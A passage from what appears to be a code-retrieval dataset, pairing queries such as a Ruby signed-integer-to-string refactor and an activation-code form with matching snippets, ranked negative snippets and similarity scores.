"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] |
[
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.63804525",
"0.6373396",
"0.6360051",
"0.6355191",
"0.62856233",
"0.627813",
"0.62451434",
"0.6228103",
"0.6224965",
"0.6222941",
"0.6210244",
"0.62077755",
"0.61762565",
"0.61711127",
"0.6168448",
"0.6160164",
"0.61446255",
"0.6134175",
"0.6120522",
"0.6106709",
"0.60981655",
"0.6076113",
"0.60534036",
"0.60410434",
"0.6034582",
"0.6029977",
"0.6019861",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.60184896",
"0.60157263",
"0.6005857",
"0.6003803",
"0.60012573",
"0.59955895",
"0.5994598",
"0.5993604",
"0.5983824",
"0.5983166",
"0.5977431",
"0.597591",
"0.5968824",
"0.5965953",
"0.59647584",
"0.59647584",
"0.59566855",
"0.59506303",
"0.5950375",
"0.59485626",
"0.59440875",
"0.5930872",
"0.5930206",
"0.5925668",
"0.59235454",
"0.5917905",
"0.59164816",
"0.5913821",
"0.59128743",
"0.5906617",
"0.59053683",
"0.59052664",
"0.5901591",
"0.58987755",
"0.5897456",
"0.58970183",
"0.58942604"
] |
0.0
|
-1
|
def signed_integer_to_string(number) is_negative = number 1 > 0 prefix = if is_negative number = number 1 '' elsif is_negative == false && number == 0 '' else '+' end result = '' loop do number, remainder = number.divmod(10) result.prepend(DIGITS[remainder]) break if number == 0 end prefix + result end refactor with , call to integer_to_string, string interpolation, negative before method call that returns integer
|
def signed_integer_to_string(number)
case number <=> 0
when -1 then "-#{integer_to_string(-number)}"
when 1 then "+#{integer_to_string(number)}"
else "#{integer_to_string(number)}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def signed_integer_to_string(number)\n case number <=> 0\n when -1 \n prefix = '-'\n number = -number\n when +1 \n prefix = '+'\n else \n prefix = ''\n end\n prefix + integer_to_string(number)\nend",
"def signed_integer_to_string(number)\n case number <=> 0\n when -1\n \"-#{integer_to_string(-number)}\"\n when 1\n \"+#{integer_to_string(number)}\"\n else\n \"#{integer_to_string(number)}\"\n end\nend",
"def signed_integer_to_string(number)\n case number<=> 0\n when -1 then \"-#{integer_to_string(number)}\"\n when +1 then \"+#{integer_to_string(number)}\"\n else integer_to_string(number)\n end\nend",
"def signed_integer_to_string(number)\n sign = ''\n if number < 0\n sign = '-'\n number *= -1\n elsif number > 0\n sign = '+'\n end\n\n sign + integer_to_string(number)\nend",
"def signed_integer_to_string(number)\n case number <=> 0\n when -1 then \"-#{integer_to_string(-number)}\"\n when +1 then \"+#{integer_to_string(number)}\"\n else integer_to_string(number)\n end\nend",
"def signed_integer_to_string(number)\n get_string = integer_to_string(number.abs)\n case number <=> 0\n when -1 then \"-#{get_string}\"\n when +1 then \"+#{get_string}\"\n else get_string\n end\nend",
"def signed_integer_to_string(number)\n return '0' if number.zero?\n sign = number.negative? ? '-' : '+'\n num_to_s = integer_to_string(number.abs)\n sign + num_to_s\nend",
"def signed_integer_to_string(number)\n case number <=> 0\n when -1 then \"-#{integer_to_string(-number)}\"\n when 1 then \"+#{integer_to_string(number)}\"\n else \"0\"\n end\nend",
"def signed_integer_to_string(number)\n sign = ''\n sign = '+' if number > 0\n sign = '-' if number < 0\n sign + integer_to_string(number.abs)\nend",
"def signed_integer_to_string(number)\n sign = case number <=> 0\n when -1 then \"-\"\n when +1 then \"+\"\n else ''\n end\n\n sign + integer_to_string(number.abs)\nend",
"def signed_integer_to_string(integer)\n if integer == 0\n return '0'\n elsif integer > 0\n '+' + integer_to_string(integer)\n elsif integer < 0\n '-' + integer_to_string(integer)\n end\nend",
"def signed_integer_to_string(integer)\n case integer <=> 0\n when 1\n '+' + integer_to_string(integer)\n when 0 \n '0'\n when -1\n '-' + integer_to_string(integer)\n end\nend",
"def signed_integer_to_string(integer)\n case integer <=> 0\n when -1 then \"-#{integer_to_string(-integer)}\"\n when 1 then \"+#{integer_to_string(integer)}\"\n else \"0\"\n end\nend",
"def signed_integer_to_string(num)\n sign = ''\n case \n when num > 0 \n sign << '+'\n when num < 0 \n sign << '-'\n num = -num\n end\n\n sign << integer_to_string(num)\nend",
"def signed_integer_to_string(num)\n result = integer_to_string(num.abs)\n if num > 0\n '+' + result\n elsif num < 0\n '-' + result\n else\n result\n end\nend",
"def signed_integer_to_string(int)\n if int == 0\n integer_to_string(int)\n elsif int < 0\n '-' + integer_to_string(int.abs)\n else\n '+' + integer_to_string(int)\n end\nend",
"def signed_integer_to_string(int)\n return '0' if int == 0\n int > 0 ? sign = '+' : sign = '-'\n sign + integer_to_string(int.abs)\nend",
"def signed_integer_to_string(num)\n case num\n when num < 0 then p \"-#{integer_to_string(num)}\"\n when num > 0 then \"+++#{integer_to_string(num)}\"\n else\n p integer_to_string(num)\n end\nend",
"def signed_integer_to_string(num)\n out = num.digits.map { |x| INT_CONVERT[x] }.reverse.join\n return out if num > -1\n -out\nend",
"def stringify(integer)\n sign = integer >= 0 ? '+' : '-'\n \"#{sign}#{integer.abs}\"\n end",
"def integer_to_string(number)\n result = ''\n loop do\n number, remainder = number.divmod(10)\n # binding.pry\n result.prepend(DIGITS[remainder])\n break if number == 0\n end\n result\nend",
"def integer_to_string(int)\n int_str = ''\n\n loop do\n int, remainder = int.divmod(10)\n int_str.prepend(DIGITS[remainder])\n\n break if int == 0\n end\n\n int_str\nend",
"def number_to_s\n case\n when number < 10 then return \"00#{number}\"\n when number < 100 then return \"0#{number}\"\n else return \"#{number}\"\n end\n end",
"def integer_to_string(integer)\n integer.abs.digits.reverse.join\nend",
"def integer_to_string(number)\n\n\tconversion = {0 => '0', 1 => '1', 2 => '2', 3 => '3', 4 => '4', 5 => '5',\n\t\t\t\t 6 => '6', 7 => '7', 8 => '8', 9 => '9' }\n\n\tnumber.digits.reverse.map do |num|\n\t\tconversion[num]\n\tend.join\n\nend",
"def integer_to_string(number)\n string = number.digits.reverse.join\nend",
"def integer_to_string(number)\n string = number.digits.reverse.join\nend",
"def to_string(number)\n str_array = []\n loop do\n str_array.unshift(number % 10)\n number /= 10\n break if number == 0\n end\n str_array.join\nend",
"def integer_to_string(int)\n int.digits.map { |num| NUMBERS[num] }.join.reverse\nend",
"def integer_to_string(number)\n hash_of_integers = { 0 => '0', 1 => '1', 2 => '2', 3 => '3', 4 => '4', 5 => '5', 6 => '6', 7 => '7', 8 => '8', 9 => '9'}\n \n string =''\n loop do\n\n number, digit = number.divmod(10)\n \n string.prepend(hash_of_integers[digit])\n break if number == 0\n end\n string\nend",
"def number_to_string(integer)\n array_of_integers = []\n while integer != 0\n array_of_integers << integer % 10\n integer /= 10\n end\n array_of_integers.reverse.join\nend",
"def integer_to_string(int)\n\n arr_int = []\n\n while int >= 0\n temp_num = int % 10\n arr_int.unshift(temp_num)\n int /= 10\n break if int <= 0\n end\n\n arr_int.join\nend",
"def integer_to_string(int)\n convert = %w(0 1 2 3 4 5 6 7 8 9)\n string = ''\n int.digits.each { |digit| string += convert[digit] }\n string.reverse\nend",
"def integer_to_string(int)\n convert = %w(0 1 2 3 4 5 6 7 8 9)\n string = ''\n int.digits.each { |digit| string += convert[digit] }\n string.reverse\nend",
"def integer_to_string(int)\n int.digits.reverse.join\nend",
"def integer_to_string(num)\n num.digits.map { |x| INT_CONVERT[x] }.reverse.join\nend",
"def integer_to_string(int)\n num_digits = 1\n loop do\n quotient = int / 10**num_digits\n break if quotient == 0\n num_digits += 1\n end\n \n digits_arr = []\n for i in (1..num_digits)\n digits_arr.unshift(int % 10**i/ 10**(i-1))\n end \n \n digits_arr.each_with_index do |digit, index| \n if digit == 0\n digits_arr[index] = '0'\n elsif digit == 1\n digits_arr[index] = '1'\n elsif digit == 2\n digits_arr[index] = '2'\n elsif digit == 3\n digits_arr[index] = '3' \n elsif digit == 4\n digits_arr[index] = '4' \n elsif digit == 5\n digits_arr[index] = '5'\n elsif digit == 6\n digits_arr[index] = '6'\n elsif digit == 7\n digits_arr[index] = '7'\n elsif digit == 8\n digits_arr[index] = '8'\n elsif digit == 9\n digits_arr[index] = '9'\n end\n end \n \n string_version = digits_arr.join('')\n # p string_version\nend",
"def integer_to_string(num)\n num.digits.reverse.join\nend",
"def integer_to_string(int)\n string_chars = {\n 0 => '0', 1 => '1', 2 => '2', 3 => '3', 4 => '4', 5 => '5',\n 6 => '6', 7 => '7', 8 => '8', 9 => '9'\n }\n\n string = ''\n int.digits.reverse.each {|digit| string << string_chars[digit]}\n string\nend",
"def integer_to_string(int)\n answer = []\n return '0' if int == 0\n while int > 0\n int, remainder = int.divmod(10)\n answer.unshift(remainder)\n end\n answer.join\nend",
"def integer_to_string(int)\n answer = []\n return '0' if int == 0\n while int > 0\n int, remainder = int.divmod(10)\n answer.unshift(remainder)\n # answer.unshift(int % 10)\n # int /= 10\n end\n answer.join\nend",
"def int_to_str i\n int_to_digits(i).join('.')\nend",
"def integer_to_string(number)\n result = []\n loop do\n divisor, remainder = number.divmod 10\n result.unshift(remainder) # or use push/<<, then reverse the array after loop ends\n break if divisor == 0\n number = divisor\n end\n \n result.join\nend",
"def explicit_integer(integer)\n integer.positive? ? \"+#{integer}\" : integer.to_s\n end",
"def integer_to_string(int)\n digits = []\n result, remainder = int.divmod(10)\n digits.unshift(remainder)\n while result != 0\n result, remainder = result.divmod(10)\n digits.unshift(remainder)\n end\n digits.map! do |digit|\n DIGITS.key(digit)\n end\n digits.join\nend",
"def integer_to_string(int)\n int_str = ''\n unit = 1\n\n loop do \n unit *= 10\n digit = int % (unit) / (unit / 10)\n int_str += DIGITS[digit]\n \n break if int % unit == int\n end\n\n int_str.reverse\nend",
"def convertToTwoDigitString inInt\n if inInt < 10 \n return \"0\" + inInt.to_s;\n end\n inInt.to_s\n end",
"def num_to_string(number)\n case number\n when '1'\n \"one \"\n when '2'\n \"two \"\n when '3'\n \"three \"\n when '4'\n \"four \"\n when '5'\n \"five \"\n when '6'\n \"six \"\n when '7'\n \"seven \"\n when '8'\n \"eight \"\n when '9'\n \"nine \"\n when '10'\n \"ten \"\n when '11'\n \"eleven \"\n when '12'\n \"twelve \"\n when '13'\n \"thirteen \"\n when '14'\n \"fourteen \"\n when '15'\n \"fifteen \"\n when '16'\n \"sixteen \"\n when '17'\n \"seventeen \"\n when '18'\n \"eighteen \"\n when '19'\n 'nineteen '\n when '20'\n \"twenty \"\n when '30'\n \"thirty \"\n when '40'\n \"fourty \"\n when '50'\n \"fifty \"\n when '60'\n \"sixty \"\n when '70'\n \"seventy \"\n when '80'\n \"eighty \"\n when '90'\n \"ninty \"\n else\n \"\"\n end\nend",
"def numberToString(num)\n \"#{num}\"\nend",
"def integer_to_string(num)\n\tlookup_table = {0 => '0', 1 => '1', 2 => '2', 3 => '3', 4 => '4', \n\t\t\t\t\t5 => '5', 6 =>'6', 7 => '7', 8 => '8', 9 => '9'}\n \n result = ''\n\n if num.is_a? Integer\n num.digits.reverse.each do |number|\n result += lookup_table[number]\n end\n result\n else\n puts \"Invalid entry!\"\n end\nend",
"def number_to_string(num)\n num.to_s\nend",
"def numberToString(num)\r\n num.to_s\r\nend",
"def numberToString(num)\n num.to_s\nend",
"def numberToString(num)\n num.to_s\nend",
"def numberToString(num) \n\t num.to_s \n end",
"def to_s()\n result = nil\n \n if @number < 10\n result = WORD_DICT[@number]\n\n elsif number <= 99\n result = two_least_sig\n \n elsif number == 1000\n result = \"one thousand\"\n\n elsif number % 100 == 0\n result = hundreds_component\n\n elsif number <= 999\n result = \"#{hundreds_component} and #{two_least_sig}\"\n end\n\n return result\n end",
"def integer_to_string(integer)\n\n counter = 0\n loop do\n counter += 1\n remainder = 10 ** counter\n mod = integer.divmod(remainder)\n break if mod[0] == 0\n end\n\n arr = []\n loop do\n counter -= 1\n denominator = 10 ** counter\n key = (integer / denominator) % 10\n arr << CHAR_SET[key]\n break if counter == 0\n end\n\n arr.join\nend",
"def number_to_string (num) \n p num.to_s\nend",
"def number_to_string_with_zero(number, characters_count = 2 )\n num_str = number.to_s\n\n if num_str.length < characters_count\n num_str = '0'*(characters_count - num_str.length ) + num_str\n end\n\n num_str\n end",
"def to_en(number)\n return number.to_s unless number.is_a?(Integer)\n case number\n when 1\n \"one\"\n when 2\n \"two\"\n when 3\n \"three\"\n when 4\n \"four\"\n when 5\n \"five\"\n when 6\n \"six\"\n when 7\n \"seven\"\n when 8\n \"eight\"\n when 9\n \"nine\"\n when 10\n \"ten\"\n when 11\n \"eleven\"\n when 12\n \"twelve\"\n when 13\n \"thirteen\"\n when 14\n \"fourteen\"\n when 15\n \"fifteen\"\n when 16\n \"sixteen\"\n when 17\n \"seventeen\"\n when 18\n \"eighteen\"\n when 19\n \"nineteen\"\n when 20\n \"twenty\"\n when 30\n \"thirty\"\n when 40\n \"forty\"\n when 50\n \"fifty\"\n when 60\n \"sixty\"\n when 70\n \"seventy\"\n when 80\n \"eighty\"\n when 90\n \"ninety\"\n when 21 .. 99\n x_one = number % 10\n x_ten = number - x_one\n to_en(x_ten) + \"-\" + to_en(x_one)\n when 100 .. 999\n front_num = number / 100\n rear_num = number % 100\n if rear_num == 0\n to_en(front_num) + \" hundred\"\n else\n to_en(front_num) + \" hundred and \" + to_en(rear_num)\n end\n when 1e3 .. 999999\n front_num = number / 1000\n rear_num = number % 1000\n if rear_num == 0\n to_en(front_num) + \" thousand\"\n else\n to_en(front_num) + \" thousand and \" + to_en(rear_num)\n end\n else\n number.to_s\n end\n end",
"def i_to_s(input)\n if !input.is_a?(Integer) || input < 0\n fail NotPositiveInteger, \"input must be a non-negative integer\"\n end\n\n output = \"\"\n while input > 0\n input, codepoint = input.divmod(charset.length)\n output.prepend(codepoint_to_char(codepoint))\n end\n output\n end",
"def englishNumber(number)\n\tnumber_as_string = \"\" #this is the string we will return\n\tif number == 0\n\t\tnumber_as_string = \"zero\"\n\telsif number == 100\n\t\tnumber_as_string = \"one hundred\"\n\telsif \n\t\t#take care of 1-10\n\t\t#take care of 11-19\n\t\t#take care of 20,30,40,50,60,70,80,90\n\telse\n\t\tnumber_as_string = \"You didn't give me a number between 0 and 100\"\n\tend\n\t\t\n\n\treturn number_as_string\nend",
"def stringy(int)\n arr_digits = (1..int).to_a\n arr10 = []\n arr_digits.each do |num|\n num % 2 == 1 ? arr10 << 1 : arr10 << 0\n end\n arr10.join\nend",
"def to_s\n return '0' if zero?\n\n format_number(@a, false) + sign_as_per(@b) + format_number(@b.abs) + 'i' +\n sign_as_per(@c) + format_number(@c.abs) + 'j' + sign_as_per(@d) +\n format_number(@d.abs) + 'k'\n end",
"def stringy(num, start = 1)\n return 'Positive integer only' unless num.is_a?(Integer) && num > 0\n return 'Invalid starting number' unless start == 1 || start == 0\n\n string = ''\n num.times do\n string << start.to_s\n start = 1 - start\n end\n string\nend",
"def format(number)\n \tif number.to_s.include? '255' and not number.to_s.include? '+'\n \t number = \"+#{number}\"\n \tend\n\n \treturn number\n end",
"def stringy(int)\n new_string = \"\"\n (int / 2).times { new_string << \"10\" }\n new_string << \"1\" if int.odd? \n new_string\nend",
"def stringy(number)\n result = ''\n 1.upto(number) do |num|\n answer = num.odd? ? '1' : '0'\n result << answer\n end\n\n result\nend",
"def stringy_string (int)\n true_var = true\n new_str = \"\"\n int.times do \n true_var ? new_str << '1' : new_str << '0'\n true_var = !true_var\n end\n new_str\nend",
"def number_to_english(n)\n return \"\" unless n.integer? && n >= 0\n\n numbers_to_name = {\n 1000000 => \"million\",\n 1000 => \"thousand\",\n 100 => \"hundred\",\n 90 => \"ninety\",\n 80 => \"eighty\",\n 70 => \"seventy\",\n 60 => \"sixty\",\n 50 => \"fifty\",\n 40 => \"forty\",\n 30 => \"thirty\",\n 20 => \"twenty\",\n 19=>\"nineteen\",\n 18=>\"eighteen\",\n 17=>\"seventeen\",\n 16=>\"sixteen\",\n 15=>\"fifteen\",\n 14=>\"fourteen\",\n 13=>\"thirteen\",\n 12=>\"twelve\",\n 11 => \"eleven\",\n 10 => \"ten\",\n 9 => \"nine\",\n 8 => \"eight\",\n 7 => \"seven\",\n 6 => \"six\",\n 5 => \"five\",\n 4 => \"four\",\n 3 => \"three\",\n 2 => \"two\",\n 1 => \"one\",\n 0 => \"zero\"\n }\n\n if n < 10\n numbers_to_name[n]\n elsif n < 100\n if n % 10 == 0 || n < 20\n numbers_to_name[n]\n else\n numbers_to_name[(n / 10) * 10] + ' ' + numbers_to_name[(n % 10)]\n end\n elsif n < 1000\n if n % 100 == 0\n numbers_to_name[(n / 100)] + ' ' + numbers_to_name[100]\n else\n numbers_to_name[(n / 100)] + ' ' + numbers_to_name[100] + ' ' + number_to_english(n % 100)\n end\n elsif n <= 99999\n number_to_english(n / 1000) + ' ' + numbers_to_name[1000] + ' ' + number_to_english(n % 1000)\n else\n \"\"\n end\n\nend",
"def toStr(n, leng)\n\t\tn = n.to_s\n\t\tif (n.to_f.to_i.to_s.length < 2) \n\t\t\tn = \"0\" + n\n\t\tend\n\t\twhile n.length < leng do\n\t\t\tn = n + \"0\"\n\t\tend\n\t\treturn n\n\tend",
"def convert(integer:)\n integer == 0 ? \"#{integer}\" : calculate(integer: integer)\n end",
"def num_into_string(number)\n puts number.ordinalize\nend",
"def expanded_form(p_number)\n str = \"\"\n number = p_number\n t_number = 1\n while number > 0\n if number % 10 != 0\n if str == \"\"\n str = ((number % 10) * t_number).to_s\n else\n str = ((number % 10) * t_number).to_s + \" + \" + str\n end\n number -= (number % 10)\n else\n t_number *= 10\n number /= 10\n end\n end\n# puts number\nreturn str\nend",
"def english_number(i)\n raise ArgumentError.new('Input must be an integer') unless i.is_a? Integer\n raise ArgumentError.new('Input must be >= 0') if i < 0\n\n return 'zero' if i == 0\n\n conversion_table = {\n 10000000000000 => 'trillion',\n 1000000000 => 'billion',\n 1000000 => 'million',\n 1000 => 'thousand',\n 100 => 'hundred',\n 90 => 'ninety',\n 80 => 'eighty',\n 70 => 'seventy',\n 60 => 'sixty',\n 50 => 'fifty',\n 40 => 'fourty',\n 30 => 'thirty',\n 20 => 'twenty',\n 19 => 'nineteen',\n 18 => 'eighteen',\n 17 => 'seventeen',\n 16 => 'sixteen',\n 15 => 'fifteen',\n 14 => 'fourteen',\n 13 => 'thirteen',\n 12 => 'twelve',\n 11 => 'eleven',\n 10 => 'ten',\n 9 => 'nine',\n 8 => 'eight',\n 7 => 'seven',\n 6 => 'six',\n 5 => 'five',\n 4 => 'four',\n 3 => 'three',\n 2 => 'two',\n 1 => 'one',\n }\n\n result = []\n\n # i = 600\n conversion_table.each do |integer, english| ## integer = 100 , english = 100\n times = i / integer ## times = 600 / 100 = 6\n if times == 1\n prefix = 'one ' if integer >= 100\n result << prefix.to_s + english\n elsif times > 1 ## < - hit this case\n # english_number(600/100) + 'hundred\n # english _number(6) + \"hundred\"\n result << english_number(times) + '-' + english\n end\n i %= integer\n end\n\n return result.join '-'\n end",
"def num_to_s(num, base)\n raise \"Please give a base greater than 1 and less than 16\" if base <= 1 || base > 16\n\n number_string_hash = {0 =>\"0\", 1 =>\"1\", 2 =>\"2\", 3 =>\"3\", 4 =>\"4\", 5 =>\"5\", 6 =>\"6\",\n 7 =>\"7\", 8 =>\"8\", 9 =>\"9\" }\n \n if base > 10\n num = num.to_i(base)\n base = 10\n end\n \n num_string = \"\"\n num_place = 0\n while num > 0\n current_digit = (num / base**num_place) % base\n num = num - (current_digit * (base**num_place))\n num_string.prepend(number_string_hash[current_digit])\n num_place += 1\n end\n num_string\nend",
"def format_int(n)\n return - 2**31 if n < -2**31\n return 2**31 - 1 if n > 2**31 - 1\n n\nend",
"def stringy(number)\n arr = []\n (1..number).each { |num| arr << num }\n\n string = \"\"\n arr.each do |num|\n string << \"0\" if num % 2 == 0\n string << \"1\" if num % 2 == 1\n end\n\n string\nend",
"def to_string(number, precision)\n if number.zero? || precision <= 0\n String(number.to_i)\n else\n String(number)\n end\n\n #sprintf(\"\"%.#{precision}f\", number)\n end",
"def stringy(number)\n result = []\n\n 1.upto(number) do |num|\n numbers = num.even? ? '0' : '1'\n result.push(numbers)\n end\n result.join\nend",
"def stringy(integer)\n i = 1\n output = ''\n while i <= integer\n output += '1' if i.odd?\n output += '0' if i.even?\n i += 1\n end\n output\nend",
"def human_display(number)\n base_number = digits(number)\n if base_number.length == 11 && base_number.first == '1'\n \"(#{base_number[1..3]}) #{base_number[4..6]}-#{base_number[7..10]}\"\n elsif base_number.length > 0\n \"+#{base_number}\"\n else\n nil\n end\n end",
"def stringy(number, start_with = 1)\n if start_with != 1 && start_with != 0\n puts 'Invalid value for start. Only 1 and 0 allowed'\n return\n end\n\n number_string = start_with.to_s\n iterations = number - 1\n\n iterations.times do |previous_number|\n number_string[previous_number] == '1' ? number_string << '0' : number_string << '1'\n end\n\n number_string\nend",
"def string_from_number(number)\n if @style == :dash\n number = number.to_i\n return \"#{number / Dash::COIN}.#{'%08d' % [number % Dash::COIN]}\".gsub(/0+$/,\"\").gsub(/\\.$/,\".0\")\n elsif @style == :dash_long\n number = number.to_i\n return \"#{number / Dash::COIN}.#{'%08d' % [number % Dash::COIN]}\"\n else\n # TODO: parse other styles\n raise \"Not implemented\"\n end\n end",
"def two_digits_number(x)\n x < 10 ? \"0#{x}\" : x.to_s\n end",
"def stringy number, count = 1\n binary_string = ''\n\n if count == 1\n (number / 2).times {binary_string << '10'}\n binary_string << '1' if number % 2 == 1\n elsif count == 0\n (number / 2).times {binary_string << '01'}\n binary_string << '0' if number % 2 == 1\n end\n\n binary_string\n end",
"def number_to_s(val)\n return @print_decimal_numbers ? val.to_s : ('%02x' % val)\n end",
"def to_s\n if @i >= 0\n \"#{@r}+#{@i}i\"\n else\n \"#{@r}#{@i}i\"\n end\n end",
"def pres(x)\n\tif x<10\n\t\treturn x = \"0\" + x.to_s\n\telse\n\t\treturn x = x.to_s\n\tend\nend",
"def number_to_string(num)\n case num\n when 1 then '1st'\n when 2 then '2nd'\n when 3 then '3rd'\n when 4, 5 then num.to_s + 'th'\n when 6 then 'last'\n end\nend",
"def textify(number)\n return UNITS[number] if number < UNITS.length\n\n tens, units = number.divmod(10)\n hundreds, tens = tens.divmod(10)\n\n out = ''\n out << \"#{UNITS[hundreds]} hundred \" if hundreds > 0\n out << \"#{TENS[tens]}\" if tens > 0 && number >= 20\n out << \"-\" if tens > 0 && units > 0\n out << \"#{UNITS[units]}\" if units > 0\n out.strip\n end",
"def number_to_english(n)\n\n numbers_to_name = {\n 1000 => \"thousand\",\n 100 => \"hundred\",\n 90 => \"ninety\",\n 80 => \"eighty\",\n 70 => \"seventy\",\n 60 => \"sixty\",\n 50 => \"fifty\",\n 40 => \"forty\",\n 30 => \"thirty\",\n 20 => \"twenty\",\n 19=>\"nineteen\",\n 18=>\"eighteen\",\n 17=>\"seventeen\",\n 16=>\"sixteen\",\n 15=>\"fifteen\",\n 14=>\"fourteen\",\n 13=>\"thirteen\",\n 12=>\"twelve\",\n 11 => \"eleven\",\n 10 => \"ten\",\n 9 => \"nine\",\n 8 => \"eight\",\n 7 => \"seven\",\n 6 => \"six\",\n 5 => \"five\",\n 4 => \"four\",\n 3 => \"three\",\n 2 => \"two\",\n 1 => \"one\",\n 0 => \"zero\"\n }\n\n\n str = \"\"\n numbers_to_name.each do |num, name|\n\n if n == 0\n return str\n\n elsif n > 99999\n return str\n\n elsif n.to_s.length == 1 && n/num > 0\n return \"#{name}\"\n\n elsif n < 100 && n/num > 0\n\n return \"#{name}\" if n%num == 0\n return \"#{name} \" + number_to_english(n%num)\n\n elsif n/num > 0\n return number_to_english(n/num) + \" #{name} \" + number_to_english(n%num)\n\n end\n\n end\nend",
"def to_s(x=10) end",
"def to_s\n valid ? \"#{integer}\" : \"?\"\n end",
"def digits_to_str a, b, c, d\n [a,b,c,d].map{|x|x.to_i & 0xff}.join '.'\nend",
"def to_2digit(number)\n if number < 9\n number=\"0\"+number.to_s\n else\n number=number.to_s\n end\n return number\nend",
"def expanded_form(num)\n expanded_numbers = []\n scale = 10\n new_num = num\n while new_num > scale\n remainder = new_num % scale\n expanded_numbers.unshift(remainder)\n new_num -= remainder\n scale *= 10\n end\n expanded_string = \"#{new_num}\"\n expanded_numbers.each do |number|\n if number != 0\n expanded_string += \" + #{number}\"\n end\n end\n expanded_string\nend",
"def to_string(num)\n\tteens = %w[eleven twelve thirteen fourteen fifteen sixteen seventeen eighteen nineteen]\n\tones = %w[one two three four five six seven eight nine]\n\ttens = %w[ten twenty thirty forty fifty sixty seventy eighty ninety]\n\n\tdigits = num.to_s.split(\"\").map { |e| e.to_i }.reverse\n\twords = []\n\twrite_and = false\n\n\tdigits.each_with_index do |n, i|\n\t\tnext if n == 0\n\n\t\tif ((i == 2) || (i == 3))\n\t\t\tif write_and\n\t\t\t\twords.push(\"and\")\n\t\t\t\twrite_and = false\n\t\t\tend\n\t\tend\n\n\t\tcase i\n\t\twhen 0\n\t\t\tif (digits[i+1] == 1)\n\t\t\t\twords.push(teens[n-1])\n\t\t\t\tdigits[i+1] = 0\n\t\t\telse\n\t\t\t\twords.push(ones[n-1])\n\t\t\tend\n\n\t\t\twrite_and = true\n\t\twhen 1\n\t\t\twords.push(tens[n-1])\n\n\t\t\twrite_and = true\n\t\twhen 2\n\t\t\twords.push(\"hundred\")\n\t\t\twords.push(ones[n-1])\n\t\twhen 3\n\t\t\twords.push(\"thousand\")\n\t\t\twords.push(ones[n-1])\n\t\tend\n\tend\n\n\treturn words.reverse.join(\"\")\nend",
"def bignum_to_str(n)\n s=\"\"\n while n>0\n s = (n&0xff).chr + s\n n >>= 8\n end\n s\nend",
"def stringy(integer)\n ones_and_zeroes = []\n\n integer.times do |index|\n number = index.even? ? 1 : 0\n ones_and_zeroes << number\n end\n\n ones_and_zeroes.join\nend"
] |
[
"0.9284257",
"0.9259651",
"0.9169027",
"0.914762",
"0.9135243",
"0.91240275",
"0.9106091",
"0.9103878",
"0.90961766",
"0.90244305",
"0.8957153",
"0.89387906",
"0.8881836",
"0.8804228",
"0.8773761",
"0.8731891",
"0.87243193",
"0.8720476",
"0.8538236",
"0.81803995",
"0.81195533",
"0.80288553",
"0.80114055",
"0.7984281",
"0.7965992",
"0.7889129",
"0.7889129",
"0.78396595",
"0.7827239",
"0.7790914",
"0.77719796",
"0.776563",
"0.7760128",
"0.77598083",
"0.7716277",
"0.77128",
"0.7627926",
"0.7606714",
"0.7605322",
"0.76001155",
"0.7576077",
"0.7471494",
"0.7447809",
"0.74365675",
"0.7425654",
"0.7422698",
"0.73695385",
"0.7334218",
"0.7309734",
"0.7267407",
"0.72565854",
"0.7191656",
"0.7182538",
"0.7182538",
"0.71758354",
"0.71001774",
"0.7059093",
"0.7043394",
"0.70223755",
"0.7001841",
"0.6979596",
"0.69053876",
"0.6873125",
"0.6854197",
"0.67962414",
"0.6724269",
"0.67219746",
"0.6715229",
"0.6696588",
"0.6695539",
"0.6678128",
"0.66775584",
"0.6638673",
"0.6616325",
"0.6605108",
"0.660099",
"0.6598471",
"0.65972245",
"0.6593854",
"0.6589079",
"0.6563522",
"0.6556966",
"0.6527181",
"0.6502165",
"0.6491505",
"0.64888626",
"0.64877135",
"0.64791125",
"0.647907",
"0.6477525",
"0.64743835",
"0.6460386",
"0.6456714",
"0.6441894",
"0.64290756",
"0.6424229",
"0.6421568",
"0.64158696",
"0.6415767",
"0.6411686"
] |
0.9197204
|
2
|
Form to create activation code
|
def new; end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def make_activation_code\n end",
"def generate_activation_code!\n self[:activation_code] = RandomPasswordGenerator.generate(\n 4, skip_upper_case: true, skip_symbols: true, skip_url_unsafe: true\n )\n self[:status] = Status::INTERMEDIATE\n save!\n end",
"def generate_activation_code\n #self.security_token = Digest::SHA1.hexdigest(\"--#{Time.now.to_s}--#{email}--#{salt}--\")\n generate_security_token\n end",
"def activate\n logout_keeping_session!\n @user = User.find_by_activation_code(params[:activation_code]) unless params[:activation_code].blank?\n if (!params[:activation_code].blank?) && @user && !@user.active?\n # show password set page...\n flash[:notice] = \"Please set User Password to complete Signup!\"\n render :action => :new\n else\n # ask for login and resend new activation code\n flash[:notice] = \"Incorrect Activation Code!\"\n render send_activation_code_path\n end\n end",
"def activate\n logout_keeping_session!\n\t\t# retrieve the user with the activation code specified\n user = User.find_by_activation_code(params[:activation_code]) unless params[:activation_code].blank?\n case\n when (!params[:activation_code].blank?) && user && !user.active?\n\t\t\t# case when not activated and the code was valid, activate user\n user.activate!\n\t\t\t# display pop up regarding successful activation\n gflash :success => \"Signup complete! Please sign in to continue.\"\n redirect_to '/login'\n when params[:activation_code].blank?\n\t\t\t# when the user input a blank code\n gflash :error => \"The activation code was missing. Please follow the URL from your email.\"\n redirect_back_or_default('/')\n else \n\t\t\t# user was not found \n gflash :error => \"We couldn't find a user with that activation code -- check your email? Or maybe you've already activated -- try signing in.\"\n redirect_back_or_default('/')\n end\n end",
"def make_activation_code\n self.activation_code = self.class.make_key\n end",
